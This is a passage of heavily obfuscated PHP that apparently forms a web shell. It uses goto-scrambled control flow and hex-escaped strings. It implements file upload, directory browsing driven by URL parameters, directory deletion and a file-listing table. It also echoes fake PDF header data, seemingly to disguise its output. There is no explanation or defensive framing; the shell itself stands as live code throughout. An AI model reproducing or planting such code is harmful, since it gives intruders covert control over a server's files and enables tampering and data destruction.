JE1df; goto LLMeE; tA2on: CTYs7: goto JOFUE; Kaeq8: goto Ed1xb; goto jEufL; VvIJ9: } goto w5UsC; FBcGW: goto TQT5i; goto gZaeQ; Zo2nj: pP9sc: goto aZ06O; MuZUS: goto fHG5b; goto eWDTY; VIuAB: goto fWxDu; goto yBsqQ; q22Ns: echo "\74\x70\76" . htmlspecialchars(basename($_FILES["\146\151\x6c\x65\x54\157\125\160\154\x6f\141\144"]["\x6e\x61\155\145"])) . "\x20\x68\x61\x73\x20\x62\x65\145\x6e\40\x75\160\154\x6f\141\x64\x65\x64\56\74\x2f\160\76"; goto BqMBs; MhFSZ: goto Be7Zz; goto fpMBI; b4Tlv: goto rej3V; goto DQcNV; t4OQl: $dLzHr = BiAk2 . "\57" . $_GET["\145"]; goto xW7uh; d38bs: goto R82uD; goto Spx_V; Eh13M: EpziT: goto rnLGw; nsxRJ: goto vvyhr; goto qYveb; xNgJB: goto Ujux3; goto t1Upu; w5UsC: goto wPUQp; goto Ux648; Vq5MX: mV9HQ: goto LyMs7; D2pDf: SpNEI: goto Kdr1K; ZUovY: r4hK0: goto IfJPO; Qs2sL: goto uem3R; goto dr1SH; wJFvC: goto o4kdf; goto JO7v1; slx9O: goto ceNLn; goto A3nTM; rhPOw: goto UCNIU; goto KIz0E; Rk2tr: goto iWjM9; goto lRwAf; rGIxF: if (!isset($_GET["\x70"])) { goto bzcsW; } goto QLTLW; g5ueS: echo "\x3c\163\x63\162\x69\x70\164\76\141\154\x65\162\164\50\x27\123\157\x6d\x65\x20\x65\x72\162\157\x72\40\x6f\x63\x63\x75\x72\x72\x65\x64\x2e\x27\x29\73\40\x77\x69\x6e\144\x6f\167\x2e\154\157\x63\141\164\x69\157\x6e\56\162\145\160\154\x61\x63\x65\x28\x27\77\160\75" . FvVcH(BiAk2) . "\47\51\73\x3c\57\x73\x63\162\151\x70\x74\x3e"; goto jSoKF; pfWDZ: if (!(rmdir($yWr_G) == true)) { goto M5wvw; } goto nsxRJ; PEPUr: PinTp: goto ab0lu; yqln5: goto iBwom; goto WxtCl; vButR: goto EpziT; goto Yuj26; oZibh: S5inW: goto NywVC; SSNmK: UCNIU: goto j00o5; qRxsa: goto r54vC; goto EM3g5; vVuQ_: goto eCWd7; goto GWaTF; c1ckf: goto wQ0d0; goto UDyz0; d1Zjb: WRrG0: goto kO5UO; gi2kT: goto pP9sc; goto aQJTl; h1X2k: goto mV9HQ; goto X213Y; DfgDe: uQD5T: goto GuGMV; x1dT2: goto oGYr3; goto Wp1aU; w0rFO: vvyhr: goto vblhQ; XWe6F: CSeYv: goto mg7bS; FCodr: AVX8L: goto iP3SZ; Wtqrp: RIZR0: goto MuZUS; zfHzw: goto gTBBG; goto Zy0MH; N53m1: goto P2r97; goto Ts22z; ZKBjs: goto zzQBU; goto WXIIc; juoJM: GA838: goto S2c_s; ya5o5: goto Hl5e7; goto ziYAg; uAK1C: toihV: goto XLwhm; RDimB: echo "\xa\x3c\x74\x61\x62\x6c\145\40\x63\x6c\x61\163\x73\x3d\x22\164\141\x62\x6c\x65\x20\x74\x61\x62\154\x65\x2d\x68\x6f\x76\145\x72\42\76\12\40\40\74\164\150\x65\x61\144\76\12\x20\x20\x20\x20\x3c\164\162\x3e\12\x20\40\40\x20\x20\x20\74\164\x68\40\163\x63\x6f\x70\145\75\x22\143\x6f\154\42\x3e\116\141\155\x65\74\x2f\x74\150\x3e\xa\x20\40\40\x20\x20\40\74\164\x68\x20\163\x63\x6f\x70\x65\x3d\42\143\157\x6c\x22\x3e\123\x69\x7a\x65\74\57\x74\x68\x3e\12\40\x20\x20\40\40\x20\x3c\164\150\x20\163\x63\x6f\x70\x65\x3d\x22\x63\x6f\154\x22\x3e\115\x6f\144\x69\146\x69\145\144\x3c\x2f\164\150\76\12\x20\x20\40\40\40\40\74\164\x68\40\163\143\157\160\x65\75\42\x63\157\x6c\42\x3e\120\145\x72\x6d\163\74\x2f\164\x68\76\xa\40\40\x20\x20\x20\40\74\x74\x68\40\163\143\x6f\x70\145\x3d\42\x63\x6f\x6c\x22\76\101\x63\164\x69\x6f\156\163\x3c\x2f\x74\150\76\xa\x20\40\40\40\74\57\x74\162\76\xa\x20\x20\74\57\x74\x68\x65\141\144\x3e\xa\40\40\74\x74\142\x6f\x64\x79\x3e\xa"; goto N53m1; Qjy_g: goto bb8YR; goto h1X2k; VkBrL: goto SVDac; goto CUU2u; IpJPA: goto PS8QR; goto Eh8we; Eb1eM: goto oKdTp; goto vSfS9; k1oyt: echo "\74\x73\x63\162\151\160\x74\x3e\x61\x6c\145\162\164\x28\x27\x53\157\155\145\x20\x65\x72\162\x6f\162\40\157\x63\x63\165\162\162\145\x64\56\x27\x29\73\40\x77\x69\x6e\144\x6f\x77\56\x6c\x6f\143\141\x74\151\x6f\x6e\x2e\162\145\160\154\141\143\145\50\x27\77\x70\x3d" . FVvch(BiAk2) . "\47\x29\x3b\x3c\x2f\x73\x63\x72\x69\160\x74\x3e"; goto wJFvC; AohB4: uem3R: goto PEPUr; eLs1O: dd9OH: goto Fe1RG; rxqvg: sQOJ_: goto VV85Q; L1tya: if (isset($_GET["\162"])) { goto s0TTf; } goto lGd_y; FZmkp: sKJH5: goto bO8ZQ; GWaTF: goto ncojG; goto nPSTC; zkI2l: Vl7lX: goto xIjzk; oCzTL: goto CSQMT; goto GTSJ1; Gaoo4: qbrLn: goto XRfWb; S5OzX: rlhsE: goto e3e87; rbXzs: Bl1cL: goto MB3c0; Bpnt2: YMeYU: goto eDPtG; Vz5Kg: tWYuY: goto ya5o5; t9D8K: goto FRXlH; goto JYPhg; oH_vo: goto e3QMD; goto mFhd1; czs9p: foreach ($RGptr as $zvEYl => $TMShe) { goto esfcY; R0lIR: K1JvY: goto PUc0V; pnUgB: goto K1JvY; goto vjase; Zb2eP: if ($VoQFa != $zvEYl) { goto DQzV8; } goto AsN29; h1sNF: k7S2J: goto Zb2eP; U9IGE: pjWa7: goto sNhrf; sW_qK: hpmSQ: goto QVNEm; ednvK: goto MB1c3; goto sW_qK; a8asL: F9ALC: goto zWZLB; PUc0V: goto pjWa7; goto L1uyP; F10xU: goto ioL5s; goto A6Cj0; wmmLu: if ($TMShe == '' && $zvEYl == 0) { goto is434; } goto e2bXT; K8T1X: goto bZueJ; goto HTWId; e2bXT: goto xPhER; goto Chb_O; ksoth: IpGXo: goto g3b0L; CjiEb: nNJE0: goto K8T1X; vSRpB: bZueJ: goto elAS3; elAS3: if ($VoQFa <= $zvEYl) { goto TiFUr; } goto aFHzg; K2hpM: cHMNr: goto f7b4r; yMbOO: goto GVxdh; goto DAkeu; cWVoI: FN9O2: goto I8Gl2; HRV5d: goto ft2wq; goto Dt953; gpwv_: goto u95kB; goto tM_2h; pq71k: goto IpGXo; goto K2hpM; esfcY: goto jRuSk; goto bblGQ; TlfLN: DQzV8: goto yMbOO; QVNEm: echo "\47\x3e" . $TMShe . "\74\x2f\x61\x3e\x2f"; goto F10xU; I8Gl2: echo str_replace("\72", "\xe3\201\x9f", $RGptr[$VoQFa]); goto uxT2O; BLfoJ: goto lwFeY; goto h1sNF; founY: xPhER: goto kXM3B; PXIHe: $VoQFa++; goto ednvK; Dt953: goto yTeyK; goto Ouceu; rPgvs: ioL5s: goto YFSBm; f7b4r: $OUzcL = true; goto BLfoJ; RSmAf: MB1c3: goto jdMhh; HTWId: GVxdh: goto Wb2Du; jdMhh: goto nNJE0; goto oZbo1; VERjZ: TZosk: goto EJF5P; n0cE4: echo "\74\x61\40\x68\x72\145\146\75\42\77\160\x3d\x2f\42\76\57\x3c\57\x61\76"; goto FIVkk; YFSBm: ft2wq: goto eguOG; AMioi: $VoQFa = 0; goto UzDWS; Y8178: fpHF0: goto mnXAH; Chb_O: is434: goto RFUuI; Wb2Du: echo "\343\x81\x82"; goto fta7W; RP056: lwFeY: goto n0cE4; nZ_jt: goto FN9O2; goto cWVoI; uxT2O: goto k7S2J; goto ksoth; fta7W: goto YXgQR; goto vSRpB; oqtme: JIWk4: goto VERjZ; qhHPK: goto l7aEW; goto NoCs3; A6Cj0: or8wJ: goto CjiEb; AsN29: goto yyTAm; goto TlfLN; UzDWS: goto or8wJ; goto a8asL; Q1WsZ: goto HqceJ; goto rPgvs; aFHzg: goto fpHF0; goto BckX4; g3b0L: wPxAj: goto Q1WsZ; kXM3B: goto F9ALC; goto A9M74; oZbo1: goto pU7d3; goto RP056; mnXAH: goto hpmSQ; goto U9IGE; EymsJ: goto eXEr3; goto RSmAf; Y2aqB: goto ft2wq; goto EymsJ; BckX4: TiFUr: goto nZ_jt; vNbZT: pU7d3: goto Y8178; eikTC: eXEr3: goto R0lIR; Ouceu: l7aEW: goto Y2aqB; sNhrf: echo "\74\141\x20\x68\162\x65\146\x3d\47\x3f\160\x3d"; goto gpwv_; RFUuI: goto cHMNr; goto oqtme; bblGQ: YXgQR: goto pU3Qy; vjase: tfiIw: goto qhHPK; A9M74: u95kB: goto AMioi; NoCs3: jRuSk: goto wmmLu; L1uyP: w4jXz: goto HRV5d; pU3Qy: yyTAm: goto pq71k; tM_2h: yTeyK: goto founY; FIVkk: goto w4jXz; goto vNbZT; zWZLB: if ($TMShe == '') { goto tfiIw; } goto pnUgB; DAkeu: HqceJ: goto PXIHe; eguOG: goto JIWk4; goto eikTC; EJF5P: } goto MSc2F; xczmT: vv5Ep: goto Respk; xw5DR: goto OEUhw; goto qHbcX; Fmj3t: goto uJ9DO; goto Zo2nj; uAi2u: goto Z2xlj; goto KxnnS; r8w4c: echo "\x25\120\104\106\55\x31\56\x33\xa\45\46\43\61\x39\x35\x3b\46\43\x31\x36\62\73\x26\x23\61\x39\x35\73\46\x23\x31\66\x33\x3b\46\x23\x31\71\65\73\x26\43\x31\x34\63\x3b\46\x23\61\71\65\73\xe2\200\273\xa\x31\40\x30\x20\x6f\x62\x6a\x3c\x3c\57\x54\x79\160\x65\x2f\x43\x61\x74\141\154\157\x67\x2f\x50\x61\147\145\x4d\157\x64\145\57\x55\163\145\117\165\x74\x6c\x69\x6e\x65\163\57\x50\141\147\145\163\x20\x33\x20\60\40\x52\76\76\xa\145\x6e\x64\x6f\x62\x6a\xa\62\40\x30\x20\157\x62\152\x3c\x3c\57\103\162\145\x61\x74\151\x6f\x6e\x44\141\164\x65\x28\104\x3a\62\x30\61\70\61\x30\x32\x34\61\x36\65\x32\63\71\x2b\60\x37\x27\x30\60\x27\51\x2f\x50\x72\x6f\144\165\x63\x65\x72\50\x50\157\x44\x6f\x46\157\40\55\x20\x68\x74\164\160\x3a\x2f\x2f\160\157\x64\x6f\x66\157\x2e\x73\146\x2e\x6e\145\x74\51\x3e\76\xa\145\x6e\x64\x6f\142\152\12\x33\x20\x30\40\x6f\142\152\74\74\57\x54\x79\160\145\57\x50\141\147\x65\x73\57\103\x6f\165\x6e\164\40\61\66\x33\x2f\113\151\144\x73\x5b\x20\62\x34\x37\70\x30\40\61\40\122\40\x32\x34\x37\x38\x35\40\60\40\x52\40\62\x34\x37\70\70\40\x30\x20\x52\x20\x32\x34\67\71\61\x20\x30\x20\122\x20\x32\64\67\71\x34\x20\x30\x20\x52\x20\x32\64\x37\71\x37\x20\x30\40\x52\x20\62\x34\70\60\x30\40\60\40\122\x20\x32\x34\70\x30\63\x20\60\40\x52\40\x32\x34\70\60\x36\x20\x30\40\x52\40\62\x34\x38\60\x39\x20\x30\40\122\40\x32\64\70\x31\x32\x20\60\x20\122\x20\62\64\x38\61\65\40\x30\40\122\x20\62\x34\x38\61\x38\x20\60\x20\122\x20\62\x34\70\62\61\x20\60\x20\x52\40\x32\x34\x38\62\x34\40\60\40\x52\x20\62\64\x38\62\x37\x20\60\40\122\40\x32\64\x38\x33\60\x20\60\x20\x52\40\x32\64\x38\63\x33\x20\x30\x20\122\x20\x32\x34\x38\x33\x36\40\x30\40\x52\x20\62\64\x38\x33\x39\40\60\40\122\x20\62\x34\x38\64\62\40\x30\40\122\x20\62\x34\x38\64\65\40\60\x20\122\x20\x32\64\x38\x34\70\x20\x30\x20\x52\x20\62\x34\70\x35\61\x20\x30\40\x52\x20\x32\64\70\65\x34\x20\60\x20\x52\x20\62\x34\x38\x35\67\40\x30\40\122\40\62\x34\x38\66\x30\x20\x30\x20\x52\40\62\x34\70\x36\x33\x20\x30\40\x52\40\x32\x34\70\66\x36\x20\x30\x20\122\40\62\64\70\66\x39\x20\x30\40\122\40\x32\x34\x38\x37\x32\x20\60\40\x52\x20\62\64\70\67\x35\40\60\40\122\x20\x32\64\x38\x37\x38\x20\x30\40\x52\x20\x32\64\x38\70\61\40\60\40\x52\x20\x32\64\70\70\64\40\x30\40\x52\x20\62\x34\70\x38\x37\40\x30\40\122\40\62\x34\70\71\x30\40\60\40\x52\40\62\64\70\71\x33\x20\x30\x20\122\40\62\64\70\x39\x36\x20\60\x20\x52\x20\62\x34\70\x39\71\40\x30\x20\x52\40\62\64\71\x30\x32\x20\x30\40\122\40\62\x34\71\60\65\40\60\x20\x52\x20\x32\64\x39\x30\70\40\x30\40\x52\40\62\64\x39\x31\x31\x20\x30\40\122\x20\62\x34\x39\61\64\40\x30\40\x52\40\62\x34\71\61\x37\x20\x30\x20\x52\x20\x32\64\x39\x32\x30\40\60\x20\x52\40\62\x34\71\x32\x33\40\x30\40\x52\40\x32\x34\x39\x32\x36\40\x30\x20\122\40\62\x34\x39\62\x39\x20\60\40\122\x20\x32\x34\x39\x33\x32\40\x30\40\122\x20\62\64\x39\63\65\40\x30\40\x52\40\62\64\71\x33\x38\40\60\x20\x52\40\62\x34\71\64\61\x20\x30\x20\122\x20\62\x34\x39\x34\64\x20\60\x20\122\x20\x32\x34\71\64\x37\40\x30\40\122\x20\x32\64\x39\65\x30\40\60\x20\122\x20\62\64\71\x35\63\x20\60\x20\122\x20\62\64\x39\65\66\x20\x30\x20\122\40\x32\64\71\65\x39\40\x30\40\122\x20\x32\x34\x39\x36\x32\40\x30\40\122\40\x32\x34\x39\66\x35\x20\x30\40\122\x20\x32\x34\71\66\70\40\x30\40\x52\40\62\x34\71\67\x31\x20\60\40\122\40\62\64\71\67\64\40\x30\40\x52\x20\62\64\x39\x37\x37\40\60\40\122\40\x32\x34\71\x38\x30\x20\x30\40\x52\x20\x32\64\x39\x38\63\40\60\40\x52\40\62\x34\x39\x38\66\40\60\x20\122\40\x32\64\x39\70\x39\x20\60\x20\x52\40\x32\64\71\x39\x32\40\60\40\122\x20\62\x34\x39\71\65\40\x30\x20\122\40\62\x34\x39\x39\70\x20\x30\x20\122\40\x32\65\60\x30\x31\x20\x30\40\122\x20\62\x35\x30\60\64\x20\60\40\x52\x20\62\x35\60\60\x37\x20\60\x20\122\40\62\x35\60\61\x30\40\x30\40\122\x20\x32\x35\x30\61\63\x20\x30\40\122\x20\x32\65\60\61\x36\40\x30\40\122\40\62\x35\60\x31\x39\x20\x30\40\x52\40\x32\x35\60\62\62\x20\60\40\x52\x20\62\x35\x30\x32\65\x20\60\x20\122\40\x32\x35\x30\62\x38\x20\60\40\x52\40\62\65\60\63\x31\40\x30\40\x52\40\x32\x35\x30\x33\x34\x20\x30\40\122\x20\62\x35\x30\63\x37\x20\60\40\122\x20\x32\x35\60\64\x30\40\60\40\x52\40\x32\65\60\x34\63\40\60\x20\x52\x20\62\65\60\x34\x36\40\60\x20\122\40\62\x35\x30\x34\71\40\60\x20\x52\40\x32\65\60\x35\x32\x20\x30\x20\122\40\x32\x35\60\x35\x35\x20\x30\x20\122\x20\62\x35\60\x35\x38\40\x30\x20\x52\x20\62\x35\x30\x36\x31\x20\60\40\x52\x20\62\x35\60\x36\64\x20\60\x20\122\40\x32\65\60\x36\67\x20\x30\40\x52\40\x32\x35\60\67\x30\40\60\40\x52\40\62\x35\x30\67\x33\x20\60\40\x52\x20\x32\65\60\x37\66\x20\60\40\122\x20\x32\x35\x30\x37\71\x20\60\x20\122\x20\x32\x35\x30\70\x32\x20\60\40\x52\x20\x32\65\x30\x38\x35\40\x30\x20\122\x20\x32\x35\60\x38\x38\x20\60\40\122\40\62\x35\x30\x39\61\x20\x30\x20\x52\x20\62\x35\x30\x39\64\40\60\x20\x52\x20\62\x35\x30\x39\x37\40\60\40\x52\x20\62\65\x31\60\60\x20\x30\x20\x52\40\x32\65\x31\x30\x33\40\x30\x20\x52\40\x32\x35\x31\60\x36\40\x30\x20\122\40\62\x35\61\60\x39\x20\60\x20\122\40\x32\x35\x31\x31\62\40\60\40\x52\x20\x32\x35\61\x31\x35\x20\x30\x20\122\40\x32\65\61\61\x38\x20\x30\x20\x52\40\x32\65\x31\62\x31\40\60\40\x52\x20\x32\65\x31\62\x34\x20\x30\40\122\40\62\65\x31\x32\67\40\x30\x20\x52\40\62\65\61\63\60\40\x30\x20\x52\x20\62\x35\61\x33\x33\40\x30\x20\122\x20\x32\65\x31\63\66\40\x30\x20\122\x20\x32\65\x31\x33\71\x20\60\40\x52\x20\x32\x35\61\x34\x32\40\x30\x20\122\x20\x32\65\61\64\x35\x20\x30\x20\122\40\62\67\x35\x38\60\40\x31\40\x52\x20\x32\x37\65\x38\65\40\x30\40\122\40\62\67\65\70\70\40\60\x20\x52\40\62\x37\65\x39\61\40\x30\40\122\40\x32\x37\65\71\64\40\x30\40\122\x20\x32\x37\x35\x39\x37\40\x30\40\122\40\62\x37\x36\x30\60\x20\60\x20\x52\x20\62\67\x36\60\63\x20\60\x20\x52\40\62\67\x36\x30\x36\40\x30\40\122\x20\62\x37\x36\x30\x39\x20\60\x20\x52\x20\x32\67\x36\61\x32\40\x30\40\122\40\62\x37\x36\61\x35\40\60\x20\122\x20\x32\x37\66\61\x38\x20\60\x20\x52\x20\x32\67\66\x32\61\40\x30\40\122\40\62\x37\66\62\x34\40\60\40\122\x20\62\67\x36\62\67\x20\60\x20\x52\x20\x32\x37\x36\63\60\x20\x30\x20\122\40\62\x37\x36\63\x33\40\60\40\x52\40\x32\x37\x36\x33\x36\40\60\40\x52\40\x32\67\x36\63\x39\40\60\40\x52\x20\62\x37\x36\x34\x32\x20\60\x20\x52\40\62\67\66\64\65\40\60\40\x52\40\x32\67\66\x34\70\40\x30\40\122\x20\x32\x37\x36\x35\x31\x20\x30\x20\x52\40\62\67\x36\65\x34\x20\60\x20\x52\40\62\67\x36\65\x37\x20\x30\40\x52\x20\62\x38\x35\66\x39\40\61\40\122\40\x32\x38\65\67\x34\40\x30\x20\122\40\x32\70\65\x37\x37\40\60\40\x52\x20\62\x38\x35\x38\x30\40\60\40\x52\40\x32\70\65\70\63\x20\60\40\x52\40\62\70\x35\70\x36\40\60\x20\x52\40\x32\x38\x35\x38\71\x20\x30\40\122\x20\62\x38\65\71\x32\x20\x30\x20\x52\x20\x32\70\65\x39\65\40\x30\40\x52\x20\x32\70\x35\71\70\40\x30\x20\122\40\x32\70\x36\60\x31\40\x30\x20\x52\x20\x32\x38\x36\x30\64\40\60\40\x52\40\x32\x38\66\62\x36\x20\x30\x20\122\40\x32\70\66\x32\71\x20\x30\x20\122\x20\x32\70\66\63\62\x20\60\x20\122\135\76\76\12\x65\x6e\x64\x6f\x62\152\12\67\40\x31\x20\x6f\142\x6a\74\x3c\x2f\124\171\160\x65\57\x58\117\142\152\145\x63\164\x2f\102\102\x6f\x78\133\x20\x30\56\x30\60\60\x30\60\60\40\60\56\60\x30\x30\60\x30\x30\x20\x36\60\71\x2e\x36\x30\60\60\60\x30\40\71\63\65\56\x36\x30\x30\x30\x30\x30\x5d\x2f\106\x69\154\x74\x65\x72\57\106\154\x61\x74\145\x44\145\x63\x6f\x64\145\x2f\x46\157\162\155\124\171\x70\x65\40\x31\57\x4c\145\156\x67\164\150\40\x34\x35\x34\x38\x2f\115\x61\x74\162\x69\x78\x5b\x20\61\40\60\40\x30\x20\x31\40\60\x20\x30\x5d\x2f\122\x65\163\157\x75\x72\143\x65\163\x3c\x3c\x2f\x46\157\156\164\x3c\74\x2f\x46\61\x20\x31\x33\61\40\60\40\122\x2f\106\x32\x20\61\x33\64\40\x30\x20\x52\57\106\x33\x20\x31\x33\67\x20\x30\40\122\x2f\106\64\x20\61\64\x31\x20\60\40\122\57\106\x35\x20\x31\64\x35\x20\60\40\122\x3e\76\57\120\x72\x6f\x63\x53\x65\164\133\57\x50\x44\x46\57\x54\145\170\x74\x2f\x49\155\x61\x67\145\102\x2f\x49\155\x61\x67\145\103\x2f\111\155\x61\x67\145\x49\x5d\76\76\57\x53\165\x62\x74\171\160\x65\x2f\106\x6f\x72\x6d\x3e\76\xa\x73\x74\162\x65\141\x6d\12\x78\46\x23\61\x39\64\73\x26\43\63\x33\71\73\46\x23\x31\x39\64\x3b\46\43\x31\x36\65\x3b\x5c\x6d\157\67\46\43\61\x39\x35\x3b\x26\43\61\71\60\73\x20\x26\43\61\x39\x35\73\x26\43\61\71\61\x3b\x61\77\46\x23\x31\x39\x35\73\x26\x23\x31\x37\64\73\46\43\x31\x39\65\x3b\x26\43\x31\66\x32\x3b\46\x23\x31\71\x35\73\xe3\212\243\110\x26\43\x31\71\x34\73\46\x23\x31\x36\x33\73\x26\x23\61\71\x35\73\357\xbc\x86\46\43\x31\x39\65\x3b\46\x23\x33\63\70\73\x26\x23\x31\71\x35\73\46\x23\x31\66\60\x3b\46\43\61\71\64\x3b\x26\43\x33\65\x32\x3b\171\x69\173\x26\x23\x31\71\64\73\x26\43\x31\70\65\73\44\x45\x26\x23\x31\x39\65\x3b\46\43\x33\65\x33\x3b\50\x69\77\x26\43\x31\71\64\73\x26\43\x31\x37\x32\73\x63\46\43\61\x39\x35\x3b\x26\43\70\62\x32\65\x3b\x26\x23\61\71\x35\73\46\43\63\x38\62\73\46\43\61\x39\x35\x3b\x26\x23\x38\x32\62\x32\73\x6b\x26\x23\x31\71\65\73\x26\43\61\70\67\x3b\46\43\x31\71\65\x3b\46\x23\x31\70\70\73\x72\101\x26\43\61\x39\x35\x3b\46\43\x31\x39\60\73\46\x23\x31\71\x35\x3b\x26\43\x31\x38\x39\x3b\x26\x23\61\x39\64\x3b\343\217\x91\46\x23\61\x39\64\x3b\x26\43\61\x38\71\73\x26\x23\61\71\64\x3b\x26\43\61\x34\x34\x3b\46\x23\61\x39\x34\73\46\x23\63\x38\x31\x3b\x76\x26\x23\x31\71\64\x3b\357\xb9\236\105\46\x23\61\x39\65\x3b\x26\43\70\62\65\x30\x3b\46\x23\x31\x39\x35\73\x26\x23\61\67\x33\73\172\106\x26\x23\x31\71\x34\x3b\46\43\61\66\x32\73\x48\111\174\x48\46\43\61\71\64\x3b\357\xbc\x86\x26\x23\61\71\65\73\xc2\xa7\x3f\x26\x23\x31\71\64\x3b\46\43\61\71\61\73\x7b\x26\43\61\71\x35\73\x26\x23\67\63\x32\73\174\132\x7c\x58\174\x26\43\x31\71\x35\x3b\xef\271\x9e\46\x23\61\71\65\x3b\46\x23\61\x35\x37\x3b\46\x23\x31\71\65\x3b\343\212\xa3\46\x23\61\71\65\73\x26\43\x31\67\71\x3b\46\x23\61\x39\x34\73\46\x23\70\62\62\x35\73\x26\x23\x31\x39\64\x3b\46\x23\x38\x32\62\65\73\x26\43\61\x39\x35\x3b\x26\x23\x31\x38\61\x3b\46\43\61\x39\x35\73\x26\43\x38\62\x32\x35\73\46\43\61\71\x35\x3b\x26\43\70\x32\64\x39\x3b\46\43\61\x39\x35\x3b\46\x23\61\x37\x39\73\x26\x23\61\71\64\x3b\x26\x23\x31\x37\x39\73\46\x23\x31\x39\65\x3b\xef\xbc\203\46\x23\x31\x39\x34\73\x26\x23\70\62\62\65\x3b\x26\43\x31\71\65\73\46\x23\x31\66\x33\x3b\67\67\46\43\61\x39\65\73\46\43\70\62\65\60\73\77\x26\x23\61\x39\64\x3b\46\43\x31\x34\x33\x3b\117\46\43\x31\x39\64\x3b\46\x23\61\71\x30\73\x26\x23\x31\71\x35\x3b\x26\43\x31\x35\x37\x3b\46\x23\61\71\x34\73\x26\x23\63\x38\x32\73\46\43\61\71\64\x3b\46\43\x31\71\61\x3b\x5f\137\154\46\x23\61\x39\64\x3b\x26\x23\x31\x37\x34\73\46\x23\x31\x39\x35\73\343\200\x9e\x26\43\61\71\x34\x3b\46\43\x38\x32\x35\60\73\x26\x23\x31\x39\64\73\46\43\x38\x32\65\x30\x3b\46\x23\x31\71\65\73\46\x23\x31\67\61\x3b\x26\43\61\x39\65\73\46\x23\61\66\x33\x3b\x26\43\61\71\x35\73\x26\x23\63\x37\66\73\x4f\46\43\x31\71\65\73\46\x23\61\66\x30\73\x26\43\x31\71\x35\x3b\357\274\x86\x26\43\61\x39\64\73\x26\43\x31\64\x33\x3b\67\67\x26\43\61\x39\x35\x3b\xe2\x88\xab\x77\x26\43\x31\x39\65\73\46\43\63\67\66\73\x26\x23\x31\71\64\73\x26\43\x31\x39\x31\x3b\170\46\x23\x31\x39\x35\x3b\xe3\x8a\243\46\43\61\71\x35\x3b\x26\x23\x31\x37\60\x3b\46\43\61\71\65\73\x26\43\61\66\65\73\x26\43\x31\71\x35\73\46\43\x31\66\62\x3b\46\x23\61\x39\x35\x3b\xef\xbc\203\x26\x23\61\x39\65\73\xe3\217\x91\46\43\61\71\x35\73\342\x80\xbb\x27\x26\43\x31\x39\65\x3b\46\x23\x38\62\62\x35\x3b\x3f\x26\43\61\71\64\73\x26\43\x31\67\60\73\46\43\61\x39\65\x3b\xef\xbc\203\46\43\x31\x39\x34\73\xef\275\236\x38\46\43\x31\x39\x35\73\46\x23\x31\x38\65\73\x26\43\x31\x39\65\x3b\x26\x23\61\70\x30\x3b\46\43\61\x39\x35\73\46\43\x31\70\x30\x3b\111\x5d\12\x26\x23\x31\71\x34\73\46\x23\61\x38\61\x3b\46\43\61\x39\x35\x3b\46\x23\x31\70\67\73\x67\x51\x26\43\x31\71\64\x3b\x26\43\x31\x38\x37\x3b\x26\43\61\71\65\x3b\302\xa7\x42\46\x23\x31\71\x34\73\46\x23\x31\x36\71\73\x26\x23\x31\71\64\x3b\46\x23\x31\66\66\x3b\62\172\x61\x26\x23\x31\x39\x35\x3b\x26\43\x31\x36\60\73\x26\43\61\x39\64\x3b\46\x23\61\x37\71\x3b\135\x26\x23\x31\71\x34\x3b\x26\x23\x33\x33\71\73\154\46\x23\61\x39\65\x3b\x26\x23\x31\x35\67\x3b\46\43\61\x39\65\x3b\46\43\61\x38\67\73\x26\43\61\71\65\73\357\274\203\174\46\43\x31\x39\x35\x3b\x26\43\x31\x38\70\73\x26\43\61\x39\65\x3b\46\43\x31\x38\60\x3b\x26\x23\x31\x39\x35\73\46\x23\61\x38\60\x3b\x26\x23\61\71\x35\73\xe3\x8f\x91\x26\x23\x31\x39\64\x3b\46\x23\70\x32\x32\x35\x3b\x26\x23\61\71\65\x3b\x26\x23\61\66\x35\x3b\x26\x23\x31\71\x35\x3b\x26\x23\70\62\65\x30\x3b\x26\43\61\x39\65\x3b\x26\43\70\62\x32\66\x3b\46\x23\61\71\x34\x3b\46\43\63\x37\x36\x3b\x26\43\61\71\64\73\x26\43\70\62\x34\x39\x3b\46\43\x31\71\x34\x3b\342\200\273\77\x7d\46\x23\x31\71\65\x3b\x26\43\x31\67\70\73\x26\x23\x31\71\64\73\x26\x23\x34\x30\62\x3b\46\43\x31\x39\x34\73\46\43\x31\66\x33\73\xa\x20\42\x20\114\x2a\40\46\40\x20\40\40\x20\x20\112\40\x2a\40\40\x20\152\40\x2e\x20\12\x20\x20\x20\x20\40\x4e\40\40\40\x20\12\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\x28\x38\110\x58\x68\170\40\40\40\x20\40\40\x20\40\x29\71\111\131\x69\171\40\x20\40\40\x20\x20\40\40\x20\x20\40\x2a\72\x4a\x5a\152\x7a\x20\x20\40\40\x20\x20\x20\40\12\53\x3b\x4b\x5b\153\x7b\x20\40\x20\x20\x20\40\x20\40\12\x2c\x3c\114\134\x6c\x7c\x20\40\40\40\40\40\x20\40\55\75\115\135\155\175\x20\x20\x20\x20\x20\40\40\x20\115\x20\76\x20\103\x3e\x20\x72\x2e\40\x20\x5e\40\40\176\x20\x4e\40\x40\40\161\x4f\41\x20\40\x20\40\xa\x60\12\x20\50\40\123\40\x20\40\x41\12\40\x20\40\x26\x23\62\x33\x38\x3b\141\75\x20\x20\41\x20\167\x51\x20\40\x20\111\164\x20\x42\141\x20\12\xa\x40\x6c\40\161\x20\124\x20\40\xa\146\12\40\x21\125\52\x20\40\101\40\x39\x25\156\x20\x20\157\40\115\40\x2d\40\xa\x35\x4a\40\x20\x77\x40\x4f\x7c\154\72\102\147\x20\171\75\x20\102\75\x6a\x71\x20\x4b\x20\x2d\x20\152\115\40\x34\105\120\x20\116\40\161\x26\43\x33\65\x32\73\x66\40\40\x20\40\40\x5e\x20\165\76\351\x82\xa3\x20\x24\x6b\357\xb9\x9e\x28\40\x26\x23\x31\65\x37\x3b\x48\40\154\xe8\xbf\204\105\x57\xa\40\40\x6f\40\x57\x20\x20\x20\45\154\x20\x64\135\40\40\x20\x36\x20\x20\x20\40\135\40\x2d\x20\x4c\40\x20\40\40\x3e\x20\40\x39\40\x74\x2a\40\171\x20\x34\46\x23\61\71\x31\x3b\x20\142\40\40\x35\x20\40\121\x5c\12\x20\134\x26\43\x32\61\x34\73\x76\40\40\x55\x20\x20\40\x20\62\x63\x20\40\x20\x33\x20\x20\143\x20\161\x4d\x26\43\62\60\x33\73\75\x20\x20\x20\x7c\40\40\x49\124\72\40\40\40\x53\40\46\x23\x33\63\71\x3b\x20\40\x20\x7c\x7b\73\136\174\40\145\135\x2f\40\x6e\x33\147\x20\40\40\x5f\x20\x3e\40\x74\41\40\x20\x79\40\x20\x20\x7b\x20\40\x5a\155\40\40\x20\x5c\x7b\157\135\x27\x53\x20\176\x20\40\x56\x4e\x20\141\x20\x20\x20\167\x20\x20